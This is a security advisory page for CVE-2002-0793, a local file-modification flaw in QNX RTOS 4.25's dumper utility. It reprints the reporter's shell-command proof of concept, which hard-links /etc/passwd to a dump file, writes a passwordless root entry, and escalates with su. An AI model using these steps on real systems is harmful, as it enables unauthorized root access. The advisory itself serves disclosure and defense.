QNX RTOS dumper Arbitrary File Modification Vulnerability

BID:4904

Info

QNX RTOS dumper Arbitrary File Modification Vulnerability

Bugtraq ID: 4904
Class: Access Validation Error
CVE: CVE-2002-0793
Remote: No
Local: Yes
Published: May 31 2002 12:00AM
Updated: Jul 11 2009 01:56PM
Credit: Credited to Simon Ouellette <[email protected]>.
Vulnerable: QNX RTOS 4.25
Not Vulnerable: QNX RTOS 6.1

Exploit / POC

QNX RTOS dumper Arbitrary File Modification Vulnerability

The following demonstration was provided by: "Simon Ouellette" &lt;[email protected]&gt;

Example exploit, with /bin/dumper:

Let EVIL be the unprivileged user who wants to gain root access.

#link to the passwd file: dumper dumps to [process name].dmp
$ ln /etc/passwd /home/EVIL/ksh.dmp
#call the program that will attempt to write to the hard link
$ dumper -d /home/EVIL -p [PID of EVIL's ksh]
#have dumper do its job by terminating the monitored process
$ exit
#at this point, /etc/passwd is overwritten by the binary dump, and more
importantly: EVIL is now the owner !
$ echo root::0:0::///:/bin/sh &gt; /etc/passwd
#but now no login works because /etc/passwd is not owned by userid 0. #So
you do:

$ passwd

#and change your password. This gives /etc/passwd ownership back to root,
keeping the modifications you have made.

$ su
#

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report